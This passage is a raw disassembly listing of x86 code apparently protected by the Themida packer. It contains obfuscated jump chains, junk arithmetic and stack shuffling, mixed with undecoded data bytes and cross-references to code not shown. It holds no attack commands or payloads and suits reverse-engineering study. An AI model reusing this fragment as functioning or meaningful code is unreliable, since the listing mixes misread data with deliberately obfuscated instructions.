		dd 0E6C024B6h, 5E6C002h, 308FEE80h, 0C898E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57052E:				; CODE XREF: Themida_:0056E3A8j
		mov	ebx, eax
		jmp	loc_56228A
; ---------------------------------------------------------------------------
		db 59h,	87h, 14h
		dd 0EC815C24h, 4, 0BB241C89h, 38D70C91h, 4244481h, 10135E7Ch
		dd 4244481h, 23013A22h,	4245C29h, 4246C81h, 23013A22h
		dd 4246C81h, 10135E7Ch,	0E9241C8Bh, 0FFFF10EBh,	3E9C300h
		dd 52FFFF24h, 0FF61AFE9h, 468FFh, 0E95E0000h, 0FFFF599Fh
; ---------------------------------------------------------------------------


loc_57058C:				; CODE XREF: Themida_:005721CFj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_570769
; ---------------------------------------------------------------------------


loc_5705B5:				; CODE XREF: Themida_:00562B49j
		mov	ecx, [esp]
		add	esp, 4
		sub	dword ptr [esp+8], 7CF518Ch
		jmp	loc_56DF21
; ---------------------------------------------------------------------------
		dd 0FEDAD2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5705CD:				; CODE XREF: Themida_:0056FED5j
		mov	esp, [esp]
		jmp	loc_56838D
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 0BA520000h, 1F8E5A89h, 616EF281h, 81424673h
		dd 0AB606FEAh, 7DF2815Ah, 0E9FF51DBh, 1ACAh, 8668D6F7h
		dd 89000002h, 0CDBB241Ch, 3103F10Fh, 0E6055BDEh, 157B470h
		dd 0A712E9F0h, 8166FFFFh, 6603BCEEh, 19B9E681h,	1C68166h
		dd 0EEC16600h, 0F80FE904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570632:				; CODE XREF: Themida_:00568813j
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	edx
		jmp	loc_568B9F
; ---------------------------------------------------------------------------


loc_570647:				; CODE XREF: Themida_:00572109j
		mov	[esp], esi
		mov	esi, ebx
		mov	ebp, esi
		mov	esi, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	ebx
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	0A7Dh
		mov	[esp], eax
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	ecx
		xchg	ebp, [esp]
		not	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_56748C
; ---------------------------------------------------------------------------


loc_57069D:				; CODE XREF: Themida_:0055FD44j
		add	edi, 4
		jmp	loc_563468
; ---------------------------------------------------------------------------
		dd 86E9EA29h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5706AF:				; CODE XREF: Themida_:0056253Fj
		xor	eax, 271E5F7Bh
		or	ecx, eax
		pop	eax
		sub	ecx, 3E7E7F6Ch
		add	edi, ecx
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_570C6A
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 29000000h, 343358C6h, 0BB15E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5706E6:				; CODE XREF: Themida_:0055EA29j
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		push	40842323h
		mov	ebx, [esp]
		jmp	loc_569123
; ---------------------------------------------------------------------------


loc_5706FA:				; CODE XREF: Themida_:0056EDC4j
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	ecx
		push	edi
		mov	edi, 280B241Ch
		jmp	loc_5684B1
; ---------------------------------------------------------------------------
byte_57070F	db 66h			; DATA XREF: Themida_:0055DF24o
		dd 0E924048Bh, 0FFFF6B32h
; ---------------------------------------------------------------------------


loc_570718:				; CODE XREF: Themida_:00569301j
		or	eax, eax
		jnz	loc_56880B
		push	ebp
		mov	ebp, esp
		jmp	loc_571E04
; ---------------------------------------------------------------------------


loc_570728:				; CODE XREF: Themida_:005656FBj
		push	ebx
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ebp
		push	esp
		jmp	loc_56DC84
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF1575E9h, 4C42CFFh, 2CD80051h, 53626851h, 1C890000h
		dd 0B1E95024h, 81FFFFCFh, 0A074CD29h, 2434FF31h, 4C4835Ah
		dd 0FF5F0DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570769:				; CODE XREF: Themida_:005705B0j
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_569D4D
; ---------------------------------------------------------------------------
		dd 4240483h, 0DBB8505Bh, 350DC07Ch, 5B9E7DB2h, 0FF1E5BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570789:				; CODE XREF: Themida_:00564429j
		mov	eax, esp
		add	eax, 4
		push	esi
		jmp	loc_55E72D
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 5204EA83h, 0FF928BE9h, 6506BBFFh,	66E93231h, 55FFFF65h
		dd 0C5815D54h, 4, 4ED81h, 0B8E90000h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5707C3:				; CODE XREF: Themida_:0056B369j
		pop	ebx
		jmp	loc_560DB0
; ---------------------------------------------------------------------------


loc_5707C9:				; CODE XREF: Themida_:00563A07j
		mov	ebx, 92737637h
		jmp	loc_560B2E
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC81243Ch, 4, 0E9240C89h, 0FFFF5775h
; ---------------------------------------------------------------------------


loc_5707E4:				; CODE XREF: Themida_:0056097Dj
		shr	edx, 5
		xor	edx, 145D3AF3h
		xor	edx, 27F21CE2h
		and	ebp, edx
		pop	edx
		not	ebp
		not	ebp
		inc	ebp
		sub	ebp, 13420046h
		mov	ecx, ebp
		jmp	loc_567EC8
; ---------------------------------------------------------------------------
		dd 2D19685Ch, 4890000h,	2943B824h, 0F7481933h, 1010E9D0h
		dd 0B3530000h, 2178E9D7h, 0E958FFFFh, 0FFFFB3D1h, 83241C8Bh
		dd 48F04C4h, 0B06FE924h, 0C681FFFFh, 4,	5604C683h, 42474FFh
		dd 0FF8782E9h, 7CE9BBFFh, 0B9517A53h, 66E30138h, 5039C181h
		dd 0E9C11323h, 439AE908h, 3C87FFFFh, 0DAA8E924h, 159FFFEh
		dd 14335EF2h, 24143124h, 8B241433h, 0CFE2424h, 18E99C24h
		db 0D8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570887:				; CODE XREF: Themida_:0055FBF1j
		shr	ecx, 7
		shl	ecx, 6
		add	ecx, 0AF76DD04h
		add	ebp, ecx
		jmp	loc_568529
; ---------------------------------------------------------------------------


loc_57089A:				; CODE XREF: Themida_:0056F159j
		push	3316h
		mov	[esp], esi
		push	1
		pop	esi
		and	eax, esi
		mov	esi, [esp]
		push	4B26h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_567F50
; ---------------------------------------------------------------------------
		dd 0FED7DEE9h, 1CCDBFFFh, 0FD2114FEh, 0F4ED815Fh, 2D95918Bh
		dd 49962F7h, 0BB53E801h, 64BD6579h, 524BDBF7h, 0FF8127E9h
		dd 4C483FFh, 0E9241C87h, 0FFFFDDB7h, 0A2E9D2F7h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5708F7:				; CODE XREF: Themida_:0055F3A4j
		push	69B6h
		mov	[esp], eax
		mov	eax, 154B593Dh
		push	44C3h
		mov	[esp], esi
		push	ecx
		mov	ecx, 5AAA6300h
		mov	esi, ecx
		pop	ecx
		or	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 7F2B0C17h
		sub	esi, 18932970h
		jmp	loc_5645A5
; ---------------------------------------------------------------------------
		db 5Dh,	31h, 0DFh
		dd 0DF31FB31h, 2414F753h, 0FF5871E9h
		db 0FFh
byte_570941	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055DEB0o
		dd 12D0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57094A:				; CODE XREF: Themida_:0056A902j
		add	edi, eax
		pop	eax
		add	edi, 4
		jmp	loc_56F575
; ---------------------------------------------------------------------------
		dd 33F6EE81h, 0E4E903C4h
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570963:				; CODE XREF: Themida_:0055E2C2j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_55ED5D
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0Ch
		dd 0E9158B70h, 0FFFEF9A3h, 0B7E95752h
		db 1Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570987:				; CODE XREF: Themida_:0056B740j
		xor	ebp, ecx
		pop	ecx
		or	eax, ebp
		pop	ebp
		sub	eax, 21B1E78h
		push	esi
		mov	esi, 51876D55h
		sub	esi, 425F09C8h
		add	eax, esi
		pop	esi
		jmp	loc_55E6E3
; ---------------------------------------------------------------------------


loc_5709A6:				; CODE XREF: Themida_:00567ED4j
		pop	edx
		jmp	loc_571652
; ---------------------------------------------------------------------------
		dd 58B8504Fh, 253E2968h, 0C8E5585h, 7467DD2Dh, 0E90E902h
		dd 0C4830000h, 0B9F28004h, 0EA80DAF6h, 562AE92Ch, 0C8E9FFFFh
		dd 5AFFFED6h, 1A49B850h, 0ED2D253Ah, 29E48ACCh,	0FB2958C3h
		dd 4D5CC381h, 815F40AFh, 0ED07E8EBh, 8348E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5709FA:				; CODE XREF: Themida_:005710A1j
		push	800h
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 42B537DFh
		xchg	edi, ebp
		not	edi
		push	ebp
		push	edi
		jmp	loc_571E5E
; ---------------------------------------------------------------------------


loc_570A2F:				; CODE XREF: Themida_:005697AEj
		push	ecx
		mov	ecx, 4
		jmp	loc_562217
; ---------------------------------------------------------------------------
		dw 425Ah
		dd 0FF1717E9h, 24248BFFh, 0F66E9F6h, 0C868CCB6h, 0E9000050h
		dd 0FFFFFD7Fh
; ---------------------------------------------------------------------------


loc_570A54:				; CODE XREF: Themida_:0056C728j
		push	51C91D14h
		pop	ecx
		not	ecx
		xor	ecx, 0E8ECC11Ah
		push	ecx
		add	dword ptr [esp], 54DB779Ah
		pop	ebp
		sub	ebp, 54DB779Ah
		pop	ecx
		shl	ebp, 7
		jmp	loc_562488
; ---------------------------------------------------------------------------
aZhr		db 'ZhR:',0
		align 10h
		dd 0E9240C89h, 14F4h, 3D09E957h, 8864FFFFh, 0B582E902h
		dd 0C581FFFFh, 0A0000002h, 835DE801h, 0DBE904C0h, 56FFFFDEh
		dd 515A78BEh, 0FFF1210Eh, 1EE92434h
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570AB7:				; CODE XREF: Themida_:0056A1A2j
		pop	ecx
		xor	edi, 15B5BEE9h
		mov	edx, edi
		pop	edi
		sub	edx, 2C5E5055h
		mov	ebx, edx
		pop	edx
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		push	ebp
		jmp	loc_5687F3
; ---------------------------------------------------------------------------


loc_570ADA:				; CODE XREF: Themida_:005689EDj
		pop	ebx
		pop	esi
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		mov	eax, edi
		pop	edi
		and	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		shr	ecx, 0Ah
		jmp	loc_56CC9F
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 34896624h, 66516624h, 0C8B665Eh, 0E780E924h,	0DAF7FFFFh
		dd 0FF3EEFE9h, 97E94AFFh
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570B1B:				; CODE XREF: Themida_:00562AD0j
		pop	ebx
		not	ebp
		inc	ebp
		shl	ebp, 5
		jmp	loc_560744
; ---------------------------------------------------------------------------
		db 68h
		dd 16E8h, 0BA241489h, 4, 0FF3444E9h, 4EACBAFFh,	0E3E9395Ch
		dd 83FFFFE4h, 0C8904ECh, 0FECBB524h, 5EDC0CDh, 1DB6E953h
		dd 0C581FFFFh, 4, 8904EC83h, 4BF243Ch, 1000000h, 2C335FFDh
		dd 242C3124h, 8B242C33h, 4FE92424h, 55FFFF0Bh, 8904EC83h
		dd 0EC832424h, 241C8904h, 4BBh,	4CBF5700h, 17E6A6Ah, 5F08247Ch
		dd 4245C01h, 4246C81h, 7E6A6A4Ch, 242C8B5Bh, 815F5457h
		dd 4C7h, 4C78100h, 87000000h, 248B243Ch, 8BB3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570BC2:				; CODE XREF: Themida_:0056FB99j
		add	dword ptr [esp+4], 61842231h
		jmp	loc_55E4C3
; ---------------------------------------------------------------------------


loc_570BCF:				; CODE XREF: Themida_:0056CA91j
		push	4
		mov	ebp, [esp]
		jmp	loc_568732
; ---------------------------------------------------------------------------


loc_570BDC:				; CODE XREF: Themida_:00566198j
		mov	ch, 9Ch
		and	ch, 87h
		add	ch, 96h
		add	ch, 5
		sub	bl, ch
		jmp	loc_565BEE
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 11E90000h, 5BFFFFEFh, 4247401h, 24348B5Eh, 8104C483h
		dd 4C6h, 20685500h, 5D1DBA42h, 0BDE4C581h, 0EE81E245h
		dd 4CDC22FBh, 0FF071AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570C25:				; CODE XREF: Themida_:00562DF4j
		mov	edx, 79800C84h
		add	ebp, edx
		pop	edx
		sub	ebp, 7B746520h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56900B
; ---------------------------------------------------------------------------
		dw 565Ah
		dd 804C04BEh, 0E9F03129h, 0FFFF7E62h
; ---------------------------------------------------------------------------


loc_570C4C:				; CODE XREF: Themida_:00560A27j
		mov	edx, ebp
		jmp	loc_569F20
; ---------------------------------------------------------------------------
		db 0B8h
		dd 470F4E4Ch, 0FEE7BBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570C5D:				; CODE XREF: Themida_:0056D101j
					; Themida_:0056D887j
		push	2A14h
		mov	[esp], edx
		jmp	loc_56FEBE
; ---------------------------------------------------------------------------


loc_570C6A:				; CODE XREF: Themida_:005706D0j
		mov	ecx, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_562A61
; ---------------------------------------------------------------------------


loc_570C75:				; CODE XREF: Themida_:0056AA9Aj
		push	dword ptr [esp]
		pop	esi
		jmp	loc_561D56
; ---------------------------------------------------------------------------


loc_570C7E:				; CODE XREF: Themida_:0056A133j
		add	esp, 4
		push	2C49h
		mov	[esp], edi
		jmp	loc_567B70
; ---------------------------------------------------------------------------
		db 68h,	2, 67h
		dd 3FE90000h, 66FFFFABh, 0EB81665Bh, 89660034h,	2434FFDEh
		dd 5B54535Bh, 4C381h, 0C3810000h, 4, 31241C33h,	5DE9241Ch
		db 2, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_570CC3:				; CODE XREF: Themida_:0056CA3Fj
		mov	edx, esp
		jmp	loc_569751
; ---------------------------------------------------------------------------


loc_570CCA:				; CODE XREF: Themida_:00566C9Dj
		mov	ebp, 188F1706h
		mov	edi, 188F1716h
		push	ecx
		jmp	loc_560611
; ---------------------------------------------------------------------------
		dw 0E945h
		dd 0FFFFD286h, 0D5BD829h, 1FC45F7Eh, 0FD4A8B05h, 0A030DB0h
		dd 57482525h, 6F154BBFh, 3150E914h, 0F389FFFFh,	245C295Eh
		dd 2434FF04h, 0FF9CC5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570D0D:				; CODE XREF: Themida_:0056A1CFj
		sub	al, dl
		push	dx
		mov	dl, 23h
		add	al, dl
		mov	dx, [esp]
		add	esp, 2
		pop	edx
		jmp	loc_568124
; ---------------------------------------------------------------------------


loc_570D25:				; CODE XREF: Themida_:0056D357j
		add	ebp, 329E665Eh
		mov	eax, [esp]
		push	17FFh
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	277Fh
		jmp	loc_56650E
; ---------------------------------------------------------------------------
		dw 0DAF6h
		dd 0E902EAC0h, 0FFFF94C7h, 8B240C33h, 52E92424h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570D57:				; CODE XREF: Themida_:005712DEj
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	0E94h
		mov	[esp], edi
		jmp	loc_560E5D
; ---------------------------------------------------------------------------


loc_570D74:				; CODE XREF: Themida_:0055EC69j
		pop	eax
		xor	ch, 6Dh
		jmp	loc_56CB67
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 0C6830000h, 24348704h, 0E41FE95Ch, 0E2C1FFFEh
		dd 0F7DA8703h, 0E9DA87D3h, 1CBAh, 0C3E95B66h, 83FFFFE8h
		dd 0D5E904C4h
		db 0F7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570DAF:				; CODE XREF: Themida_:0055EE45j
		pop	ecx
		jmp	loc_56F478
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0CDh
		dd 0E949745Eh, 0FFFF04AAh, 10E9ABB4h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570DC7:				; CODE XREF: Themida_:00565E47j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_571159
; ---------------------------------------------------------------------------
		dw 0E180h
		dd 46E95310h, 81000006h, 506035F3h, 42C3811Eh, 29D26100h
		dd 0C5295BD8h, 242C8758h, 2414895Ch, 8904EC83h,	72B5240Ch
		dd 0FF06A0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570E01:				; CODE XREF: Themida_:0057030Fj
		mov	ecx, [esp]
		add	esp, 4
		xor	eax, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	2D05h
		jmp	loc_56BE83
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 0FDEA815Ah, 8964226Fh, 58515AD1h, 52240C8Bh,	0C2815A54h
		dd 4, 4B850h, 24E90000h, 68FFFF63h, 381h, 56243C89h, 0FF589DE9h
		dd 0F0E959FFh
		db 0F2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570E5F:				; CODE XREF: Themida_:0056CBD1j
		xchg	ecx, esi
		sub	esi, 0DF846227h
		mov	ecx, esi
		jmp	loc_56CA1A
; ---------------------------------------------------------------------------


loc_570E6E:				; CODE XREF: Themida_:0056F7DFj
		or	edx, edi
		pop	edi
		shl	edx, 7
		add	edx, 7D01861Ch
		add	esi, edx
		pop	edx
		pop	ecx
		jmp	loc_562391
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2D3E3C14h, 0FF2963E9h, 0C38358FFh, 241C3304h, 33241C31h
		dd 665C241Ch, 66343968h, 50240C89h, 9434A7B0h, 48BC188h
		dd 4C48324h, 26368h, 241C8900h,	0C78099B7h, 5BF82885h
		dd 4EC81h, 0C890000h, 53DCB524h, 0F828F8B7h, 0FFCEB1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570ED5:				; CODE XREF: Themida_:00562A82j
		shr	ecx, 5
		inc	ecx
		sub	ecx, 3E38B5Fh
		and	ebp, ecx
		pop	ecx
		neg	ebp
		jmp	loc_568416
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 5C240C87h, 0FF04C483h, 815D2434h, 4C4h, 50C33100h, 40A7BF57h
		dd 0F889033Ah, 0FF7361E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570F0D:				; CODE XREF: Themida_:005604D2j
		push	edi
		mov	edi, 0B694E559h
		xor	eax, edi
		jmp	loc_561DBC
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 2C8B5424h, 0DCF2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570F26:				; CODE XREF: Themida_:00564608j
		sub	ebx, ecx
		pop	ecx
		push	small 5C2Fh
		mov	[esp], cx
		push	edx
		jmp	loc_563E16
; ---------------------------------------------------------------------------


loc_570F37:				; CODE XREF: Themida_:00566287j
		pop	ecx
		xor	ebp, [esp]
		jmp	loc_560452
; ---------------------------------------------------------------------------
		dd 2D5AD001h, 2, 8904EC83h, 74FF2404h, 48B0424h, 4C48124h
		dd 0E9000000h, 0FFFF71CBh
; ---------------------------------------------------------------------------


loc_570F60:				; CODE XREF: Themida_:00560144j
		push	esi
		push	ebx
		mov	ebx, 3D4F7230h
		shr	ebx, 5
		add	ebx, 4C6767D9h
		shl	ebx, 2
		jmp	loc_56B9B3
; ---------------------------------------------------------------------------
		dd 8B240487h, 88E92424h, 68FFFFA7h, 4D37h, 68241489h, 562Ch
		dd 50241C89h, 0FF4DB1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570F99:				; CODE XREF: Themida_:0057227Aj
		add	dword ptr [esp+8], 7CF518Ch
		jmp	loc_56A8C6
; ---------------------------------------------------------------------------
		dw 0EAD0h
		dd 809CE280h, 0EC83C6EAh, 24048904h, 0C388D088h, 8324048Bh
		dd 665A04C4h, 0D34BE950h, 5B54FFFFh, 9B6BF57h, 0DFF70D52h
		dd 0F706E7C1h, 7BEF81D7h, 154826Dh, 3BE95FFBh, 5AFFFEF2h
		dd 0D85BDD05h, 136A6841h, 3C890000h, 0C1BE5624h, 897BE819h
		dd 0BE565EF7h, 0F81798Eh, 0FF0F35E9h, 86ED81FFh, 5824381Fh
		dd 7D4E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571012:				; CODE XREF: Themida_:00560EBCj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	5E7Bh
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55E6F8
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF4E28E9h, 4C483FFh, 8B24048Fh, 8B662424h, 6AE92404h
		dd 0B4FFFFEEh, 0D4E480A3h, 0FE05ECC0h, 6ECC0C4h, 0FF8F39E9h
		dd 4EC81FFh, 89000000h,	68572414h, 1E2D201Fh, 6F69E95Fh
		dd 0EC81FFFFh, 4, 0FFB696E9h, 9E7BEFFh,	0DEF70918h, 0F3D7B850h
		dd 0C62932BFh, 5EF70158h, 0D8E9FB29h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57108B:				; CODE XREF: Themida_:0056C3D1j
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_5709FA
; ---------------------------------------------------------------------------


loc_5710A6:				; CODE XREF: Themida_:00564AEEj
		mov	[esp], ecx
		mov	cl, al
		push	12Eh
		mov	[esp], eax
		mov	al, cl
		jmp	loc_569137
; ---------------------------------------------------------------------------
		dw 0E989h
		dd 0F9295B5Dh, 0F7C1815Fh, 815CD835h, 977832E1h, 9E1811Fh
		dd 0C1764007h, 814904E9h, 308000F1h, 0E9C831C1h, 0FFFFC736h
		dd 0AB14CFBFh, 0A7E3E949h, 0C87FFFFh, 0FC1BE924h, 481FFFEh
		dd 9E527F24h, 241C8B41h, 4C481h, 0EB810000h, 419E527Fh
		dd 2434FF5Ah
		db 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_565EFE
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8B000000h, 0C483241Ch, 31E95004h, 8BFFFFBBh,	0C483243Ch
		dd 606FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571142:				; CODE XREF: Themida_:005720B2j
		pop	ecx
		add	ah, 0B2h
		sub	ah, 0C1h
		jmp	loc_5666E0
; ---------------------------------------------------------------------------
a0sxpEs		db '0áXP°¥é+',0Bh,0
		db 0
; ---------------------------------------------------------------------------


loc_571159:				; CODE XREF: Themida_:00570DCDj
		xor	eax, [esp]
		mov	esp, [esp]
		shr	ecx, 0Bh
		push	edi
		mov	edi, esp
		jmp	loc_569F95
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 55B85008h, 0E9973E63h, 0FFFF720Eh, 0E9240C33h, 0FFFF0BEEh
		dd 4BDh, 5ADD0500h, 0E8015947h,	475ADD2Dh, 4335D59h, 24043124h
		dd 5C240433h, 5A2434FFh, 17F768h, 243C8900h, 2434FF54h
		dd 2413E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5711B2:				; CODE XREF: Themida_:0056B603j
		push	eax
		mov	eax, 4
		jmp	loc_56CFD7
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0EB810000h, 50AA4EF1h, 0C381CB01h, 50AA4EF1h, 4C38359h
		dd 31241C33h, 1C33241Ch, 149CE924h, 0CA88FFFFh,	0E74AE959h
		dd 248BFFFFh, 0CEADE924h, 0D2F7FFFEh, 0FFC588E9h, 58E688FFh
		dd 59CE0059h, 285AF030h, 536658C7h, 572CCDB3h, 5704D800h
		dd 241C8B66h, 2C481h, 0F8000000h, 305BCD2Ch, 0C0B60FC3h
		dd 0E98734FFh, 0FFFECE73h
; ---------------------------------------------------------------------------


loc_57122C:				; CODE XREF: Themida_:0056BCDDj
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		push	ebx
		mov	ebx, 39F016EDh
		not	ebx
		shr	ebx, 1
		or	ebx, 71E30DBDh
		add	ebx, 55F41DCh
		sub	ebx, 45116C98h
		sub	ebx, 3435D2FDh
		mov	ebp, ebx
		pop	ebx
		jmp	loc_563278
; ---------------------------------------------------------------------------


loc_571266:				; CODE XREF: Themida_:0055E7CAj
		add	esp, 4
		push	625Bh
		mov	[esp], ecx
		mov	ecx, 786D39CDh
		and	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5677BC
; ---------------------------------------------------------------------------
		dd offset loc_408B68
		dd 240C8900h, 348B5456h, 4C48324h, 4C681h, 0E9530000h
		dd 0FFFFBCE2h, 4C781h, 59680000h, 89000005h, 4BB241Ch
		dd 0E9000000h, 0FFFF2A26h
dword_5712B8	dd 515166ACh, 0E62E9h, 48F5400h, 0D6DE924h ; DATA XREF:	Themida_:0055E02Co
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5712CA:				; CODE XREF: Themida_:0056D20Aj
		pop	esp
		mov	[esp], ebp
		push	4C3h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_570D57
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E8C106E8h, 31F7E903h, 48FFFFFh, 0E2E8E924h
		db 2 dup(0FFh)
word_5712F6	dw 34FFh		; DATA XREF: Themida_:0055DE50o
aYhth		db '$YhTH',0
		dw 8900h
		dd 0E589242Ch, 0F085E957h, 0EB81FFFFh, 23156822h, 0C381FB01h
		dd 23156822h, 0D4B8505Fh, 179F771h, 24048BC3h, 0E904C483h
		dd 0FFFF9F9Fh, 0DF6815Eh, 0E93C8279h, 0FFFF8144h, 68241C8Bh
		dd 6556h, 0FF58EEE9h, 0A0C381FFh, 5828EE40h, 0C381C301h
		dd 66BE77B0h, 0E924048Bh, 0FFFF3191h, 0FFC0B60Fh, 52518734h
		dd 0A07F1468h, 0EA815A04h, 22EA668Eh, 1C0EC281h, 56687BC1h
		dd 8900004Ch, 0D789243Ch, 5A5FF989h, 4246C81h, 45D044B1h
		dd 4244C29h, 0FF8AAEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571395:				; CODE XREF: Themida_:0056604Ej
		add	ebp, 7B746520h
		sub	ebp, 79800C84h
		add	ebp, ebx
		jmp	loc_56C9B6
; ---------------------------------------------------------------------------
		dd 0C8589FBBh, 8BD80163h, 0C481241Ch, 4, 0BF57D001h, 21716357h
		dd 0EFD1DFF7h, 0F5B5EF81h, 0F8290B7Eh, 24148B5Fh, 0FFCDFFE9h
		dd 9E955FFh
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5713DB:				; CODE XREF: Themida_:00560F7Bj
		mov	esp, [esp]
		mov	[esp], esp
		jmp	loc_56AFF0
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 1C7B768Eh, 0FF7059E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5713F1:				; CODE XREF: Themida_:00560AD5j
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_568EBA
; ---------------------------------------------------------------------------


loc_5713FC:				; CODE XREF: Themida_:005693ADj
		sub	eax, ebp
		jmp	loc_566B7C
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8704C1h, 54565C24h, 4C6815Eh, 51000000h, 4B9h, 59CE0100h
		dd 0FF1C82E9h, 808CB7FFh, 0CF80F8C7h, 0BAABE960h
		db 2 dup(0FFh)
word_57142E	dw 8B66h		; DATA XREF: Themida_:0055DDCCo
		dd 55E9240Ch, 89FFFF06h, 9FE92434h
		db 53h,	2 dup(0FFh)
byte_57143F	db 0FFh			; DATA XREF: Themida_:0055DF08o
